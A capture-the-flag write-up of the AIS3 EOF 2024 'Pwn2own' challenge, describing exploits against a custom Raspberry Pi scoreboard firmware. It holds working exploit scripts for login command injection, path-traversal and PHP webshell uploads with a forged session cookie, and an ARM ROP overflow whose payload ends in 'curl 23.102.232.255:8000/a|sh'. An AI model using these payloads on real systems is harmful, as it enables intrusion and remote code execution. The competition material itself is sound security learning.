A repost from my hackmd

This is the writeup for 2024 AIS3 EOF CTF “Pwn2own” Challenge. Enjoy!

The title is a tribute to Orange’s presentation title at HITCON 2023.

Collaborator: Vincent55, Curious Genshin(?)

Final result: Master of Pwn (Pwn2own Winner a.k.a 麵包超人獎)

Audio description

Rules and Scoring

Official Introduction: A Pwn2Own challenge was added, In the on-site Demo area, successful exploitation earns points, Points increase in an arithmetic sequence, encouraging participants to find more and harder “vulnerabilities”

You are given a Raspberry Pi. To succeed, you need to automatically play a specified video on the organizer’s similarly configured Raspberry Pi environment. More details are provided below. (Each team has a similar environment for testing before the demo).

Before the demo, teams must submit a brief vulnerability report and a PoC script. Because some teams like us had too many manual steps in their first exploit version, staff assistance was later limited to minimal operations. If the demo fails, teams have 5 minutes to fix their exploit on-site.

After each successful Pwn, organizers patch the previously exploited vulnerability. The scoring system awards $10+\displaystyle\sum^{n-1}_{i=1} i$ points ($n$ is the number of successful Pwns, meaning successive exploits earn 10, 11, 13, 16, … points). Duplicate vulnerabilities don’t count - first come, first served, as each version only accepts one successful Pwn. Teams must target newer versions afterward. Only each team’s highest score is counted. New firmware versions are continuously released.

Environment

Hardware

Raspberry Pi + monitor

Looking something like this, using the official photo:

image

Open Ports

If I remember correctly, it exposes a web interface (port 80) and 12387.

The web interface is literally what it sounds like. Its normal function is to display a scoreboard and allow users to put their own images or text on the screen.

Port 12387 is a custom-implemented TCP web server, similar to an API, but requests are handled by a separate binary. The functionality is similar to the web interface (however, patches are applied separately, so theoretically many web vulnerabilities could be exploited twice). You need to implement the protocol yourself to interact with it.

Firmware

It has a custom format but basically looks like a tar archive. The beginning contains a setup script that runs during firmware updates, followed by the new firmware files.

The content can actually be extracted using binwalk. However, I later discovered that the firmware has a setup script at the beginning that varies with each update, which can change some machine configurations. I’ll discuss this more later.

Feature Overview

For convenience, I’ll list out some of the vulnerabilities (incomplete):

image

Login

Just the login functionality. The implementation verifies username/password by passing them to the auth binary, which uses pam for authentication (similar to Linux user management, with passwords in /etc/shadow). This is the only pre-auth location (obviously).

In early versions, there was a command injection vulnerability here, and the auth program always had a buffer overflow vulnerability.

Display

Controls what appears on the screen:

  • Display scoreboard by setting to contest mode (projects contest.html from a location on the machine by opening Chrome in fullscreen to view it)
  • Put custom images on screen, either by uploading or fetching from URLs (both upload and fetch functionalities had significant vulnerabilities, see below)
  • Display custom text on screen (vulnerable to XSS)

image

Manage

Image management area with functionality for uploading and deleting images, and the ability to specify image names. Contains numerous vulnerabilities.

image

Firmware Updater

After uploading a firmware, it will flash the new firmware. Note that after flashing, it only updates the files without rebooting the machine.

Show Secret

Shows the secret key used to sign session cookies. This secret is also validated when interacting via the API interface.

API (TCP Web Server)

Has display, manage, and update functionality. Contains many vulnerabilities similar to web-based ones. Validates secret key before allowing interaction. The binary itself also has vulnerabilities.

Let’s Pwn The Device

Vincent discovered many of the web vulnerabilities in this challenge - shoutout to Vincent55. Curious also helped by providing insights after reverse engineering and casually exploited one vulnerability (although he quickly moved on to other challenges). I spent most of my time brainstorming and directing Vincent to write exploits. Later, I somewhat accidentally discovered the only binary vulnerability.

Almost all exploit scripts and environment setup were done by Vincent (with some help from ChatGPT). Thanks Vincent Orz.

The section numbers below indicate firmware versions, with more vulnerabilities being patched in later versions.

v1

The login interface had a direct command injection vulnerability. Initially, we used command injection to overwrite contest.html and display it, but after reverse engineering, I discovered that the scoreboard display functionality simply required launching Chrome to project to the screen (with the DISPLAY environment variable set). It took some time to resolve the video autoplay issue.

image

image

Got First Blood, nice!

image

We spent almost two hours on this trivial vulnerability

import requests

s = requests.Session()
import sys

url = sys.argv[1]

s.post(
    url + "/cgi-bin/login.cgi",
    data={
        "username": "; export DISPLAY=:0;  chromium http://dev.vincent55.tw:6999/30cm.mp4;",
        "password": "xxx",
    },
)

v3

  1. Set auth.session-token cookie to any random value to bypass login
  2. Upload contest.html via /cgi-bin/manage.cgi with path set to ../../html/contest to achieve path traversal and overwrite contest.html

The webpage content is just a simple redirect

<script>location.href="http://vps/a.mp4"</script>
  1. Finally, press the red “Set Contest” button on /cgi-bin/control.cgi, then return to /cgi-bin/control.cgi and press the yellow “Restart Display” button. This will display the contest.html file we just overwrote.
import requests

s = requests.Session()
import sys

url = sys.argv[1]

multipart_form_data = {
    "image_id": (None, "../../html/contest"),
    "upload": (None, ""),
    "image": (
        "contest.html",
        '<script>location.href="http://dev.vincent55.tw:6999/30cm.mp4"</script>',
        "text/html",
    ),
}


# upload payload file
s.post(
    url + "/cgi-bin/manage.cgi",
    files=multipart_form_data,
    cookies={"auth.session-token": "x"},
)
# set to contest
s.post(
    url + "/cgi-bin/control.cgi",
    data={"displayType": "contest", "text": None, "url": None},
    cookies={"auth.session-token": "x"},
)

# restart display
s.post(
    url + "/cgi-bin/control.cgi",
    data={"restart": "", "displayType": "contest", "text": "", "url": ""},
    cookies={"auth.session-token": "x"},
)

v4

This vulnerability was found by Curious - there was a Python code injection in show_secret.cgi.

cookie="$(python3 -c "from http.cookies import SimpleCookie; cookies='$HTTP_COOKIE';...)"

You could directly inject Python code through HTTP_COOKIE.

v11

At this point, login validation was modified. You needed to forge a session using the secret to login. However, the secret was hardcoded at the time (we didn’t notice this quickly). Vincent later discovered this by diffing the original firmware files (not the extracted files). Also, while many frontend vulnerabilities were patched by this time, I managed to find one by random testing.

  1. Login by forging a session cookie using the secret key
  2. Upload a webshell directly through /cgi-bin/control.cgi (PHP files weren’t blocked)

This webshell upload vulnerability was theoretically extremely basic (probably many people’s first web vulnerability), yet surprisingly no one discovered it on day one, lol.

import requests

s = requests.Session()
import sys

url = sys.argv[1]
file_name = sys.argv[2]

forge_cookie = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZW9mIiwiZXhwIjoxOTA3MDE5NTQ3fQ.B1qI9W906iWDE6CP8bs-qUuZk8uyGy7MHZgoRf808t8"

multipart_form_data = {
    "image_id": (None, file_name),
    "upload": (None, ""),
    "image": (
        file_name + ".php",
        "<?php system(base64_decode($_GET[1])); phpinfo();?>",
        "application/octet-stream",
    ),
}

# upload webshell
s.post(
    url + "/cgi-bin/manage.cgi",
    files=multipart_form_data,
    cookies={"auth.session-token": forge_cookie},
)

# just use it
r = s.get(
    f"{url}/images/{file_name}.php?1=ZXhwb3J0IERJU1BMQVk9OjA7ICBjaHJvbWl1bSBodHRwOi8vZGV2LnZpbmNlbnQ1NS50dzo1MDAwLw==",
    cookies={"auth.session-token": forge_cookie},
)
print(r.text)

v14

By this point, most web vulnerabilities were patched, so people started targeting the API (which still had command injection and previously discovered vulnerabilities in some web-equivalent functionalities). I thought we were in trouble and would have to resort to binary exploitation.

Then I vaguely remembered that Curious had discovered a simple vulnerability in the auth binary - the username/password would be copied to the stack using strcpy, allowing for a stack buffer overflow without null bytes.

image

I threw a cyclic-generated payload at it and found it vulnerable - able to directly control the program counter. After various fancy debugging techniques and hand-crafting a ROP chain, I managed to solve it painfully. More details below.

image

Finally succeeded with a working exploit in the last 20 minutes, earning the title of Master of Pwn.

image

My exploit’s ROP chain is quite messy since I modified it ad-hoc piece by piece. As long as it works, better not touch it anymore. I shall call it the Ultimate Universal Supreme RCE

import requests
from pwn import *
import sys

url = sys.argv[1]
headers = {
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8",
    "Accept-Language": "zh-TW,zh",
    "Cache-Control": "max-age=0",
    "Connection": "keep-alive",
    "Content-Type": "application/x-www-form-urlencoded",
    "Origin": url,
    "Referer": url + "/cgi-bin/login.cgi",
    "Sec-GPC": "1",
    "Upgrade-Insecure-Requests": "1",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36",
}
pop_r0_r4_pc = 0xF7EAA520
cmd = 0xFFFEF650 + 12
system = 0xF7E5DA0C
data = {
    "username": b"a",
    "password": b"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaa"
    + p32(pop_r0_r4_pc)
    + p32(cmd)
    + p32(pop_r0_r4_pc)
    + p32(0xFFFEF62C)
    + p32(0xDEADBEEF)
    + p32(system)
    + b"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;curl 23.102.232.255:8000/a|sh;",
    # 'password': b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaaccccbbbbddddvaaawaaaxaaayaaa;curl 23.102.232.255:8000/a|sh;',
}

# print(data["password"])
# import binascii
# print("r a \"$(echo -n \""+''.join([rf'\x{byte:02x}' for byte in data["password"]])+"\")\"")
response = requests.post(
    url + "/cgi-bin/login.cgi", headers=headers, data=data, verify=False
)
print(response.text)

Some notes

Notes on Login

Most vulnerabilities in this challenge were post-auth, so bypassing login was essential.

The login verification evolved through three main phases:

  1. On day one, it only checked if the auth.session-token cookie existed. Any random value would be accepted as a valid login.
  2. Later, JWT validation was added, but the secret key was accidentally hardcoded (A1s3-E0f_2O24). This allowed direct JWT forgery.
  3. Eventually, the fixed secret was removed, seemingly making login more difficult… or was it?
  4. There was actually a master credential: eof/3sia. The hash in /etc/shadow was crackable using hashcat.

Notes on Video Playback

After analyzing how the scoreboard was displayed, we found it simply launched chromium to browse content on screen. The full command looked like:

execl(
      "/usr/bin/chromium",
      "/usr/bin/chromium",
      v8,
      "--new-window",
      &v4,
      "--window-position=0,0",
      "--kiosk",
      "--start-fullscreen",
      "--start-maximized",
      "--incognito",
      "--noerrdialogs",
      "--disable-translate",
      "",
      "--disable-web-security",
      "--disable-infobars",
      "--disable-features=TranslateUI",
      "--overscroll-history-navigation=0",
      "--disable-pinch",
      a1,
      0);

However, note that it first sets the environment variable DISPLAY=:0.

So we just need to find a way to make chrome browse the video.

PoC: export DISPLAY=:0; chromium http://vps/target.mp4;

Note that you can’t directly browse YouTube links - it won’t autoplay when navigating there, which doesn’t count as success. You need to host the mp4 on your own server and directly access that mp4 file for automatic playback. This point troubled us for quite a while.

On Managing the Device

Another challenge was how to manage the device (get terminal/debug console).

My approach was simple and crude: In the initial version with command injection, I uploaded a metasploit backdoor, giving us a universal shell. Since the device doesn’t reboot, the session persists. Team members who needed reverse shells could get one immediately. Later we found uploading a Webshell also worked as a management interface - super dirty hack. I used to think using backdoor tools for management was just a meme, until I actually did it one day… Long live China Ant Sword

YingMuo: Actually, you could connect your own computer and use dd to extract the file system (basically get the whole machine environment), then use an emulation framework to simulate it locally which works well enough. For testing on real hardware, you could enable the ssh service and create a debug account to directly log in for management.

On Debugging

Web stuff didn’t really need debugging, you could usually tell if it worked just by looking(?). The most painful part was debugging binaries. The only binary vulnerability I exploited was actually quite simple, but it was extremely difficult to debug… which is probably why there were so few exploits later on.

Good news: Simple vulnerability + protections disabled + NO ASLR

Bad news: No gdb-server for remote debugging, no proper shell, and it’s an Arm Binary (?!)

I was too lazy to use an emulator because I was worried about offset issues. I discovered it had gdb (!), but the metasploit shell was extremely difficult to use with gdb so it was painful… and I was too lazy to compile and upload proper debugging tools

I had to generate the payload file first then run r a "$(cat pay)" in gdb for testing on that machine. Couldn’t use pwntools which was inconvenient, but fortunately ASLR was off. After controlling pc with the buffer overflow, I used the pop {r0, r4, pc} gadget - r0 is the first argument so this gadget can control both first argument + program counter, which is really powerful. After adjusting some payload offsets, directly calling system achieved RCE!

P.S. Since the gadgets used were from libc there were no NULL byte issues.

YingMuo: Actually since NX was disabled you could have just written shellcode…

But I was too lazy to write shellcode

Some offsets were slightly different between remote and local, but I quickly fixed that, nice.

Arm’s gdb also had some issues (due to two instruction sets), so I ended up using 0xDEADBEEF to manually create breakpoints.

image

YingMuo (Author): I forgot to remove gdb

趣事分享

Fun Stories

  • During v11, the secret key seemed to be accidentally not fixed (the cookie validation was broken). After rejudging, we found out it counted as success even without exploiting any vulnerability.
  • Another team almost managed to exploit the Buffer Overflow, but they had some unresolved bugs, so I got there first.
  • I put my metasploit backdoor on a public server, and four people directly downloaded and executed it! Almost captured some unexpected sessions, but they died quickly. (Confirmed these were not machines related to the competition)

image image

  • Public web servers really attract bots - my logs showed tons of bot scanning activity
  • In later stages, for easier debugging and firmware flashing, there was a patch allowing temporary password changes on first login (but not during demo). This was because many login vulnerabilities were patched, and without guessing the weak password, login would be impossible. During the final binary demo, we forgot to bypass this step (you could choose not to change the password and figure out how to login later). After canceling the password change, it worked like a normal machine - the exploit succeeded in one try.
  • YingMuo: We originally planned to play Rickroll to indicate successful exploit, but had to abandon the idea due to lack of speakers.
  • One team discovered they could downgrade the firmware to an older version and exploit previous vulnerabilities - super cool!
  • The echo command on Raspberry Pi behaved strangely with raw bytes, so I ended up generating payloads on my local machine before transferring them over.

Afterword

  • If you can avoid binary exploitation, do so - command injection is a quick win. Most vulnerabilities we exploited were command injections or upload vulnerabilities. Other teams also found XSS and SSRF web vulnerabilities. image
  • Many cool vulnerabilities remained unexploited, like environment injection, and a format string bug that would leak addresses on screen.
  • Thanks to Vincent for quickly spotting many web vulnerabilities and tolerating my shouting while writing exploits and vulnerability reports. Having one binary expert and one web expert was a perfect combination for this pwn2own.
  • Thanks to my teammates Vincent, Chumy, Itiscaleb, Aukro, Curious, Naup, and ShallowFeather for carrying other challenges, allowing me to focus entirely on this one.
  • Thanks to TeamT5, the Pre-Exam Router challenge, and Nick’s vulnerability hunting course at Security Camp for providing great inspiration.
  • Thanks to YingMuo and giver for this excellent and fun challenge, and the post-competition discussions that taught me a lot, successfully giving binary specialists something to do in the web-focused EOF Final
  • Thanks to AIS3 for hosting this great EOF competition, and to all the hardworking staff.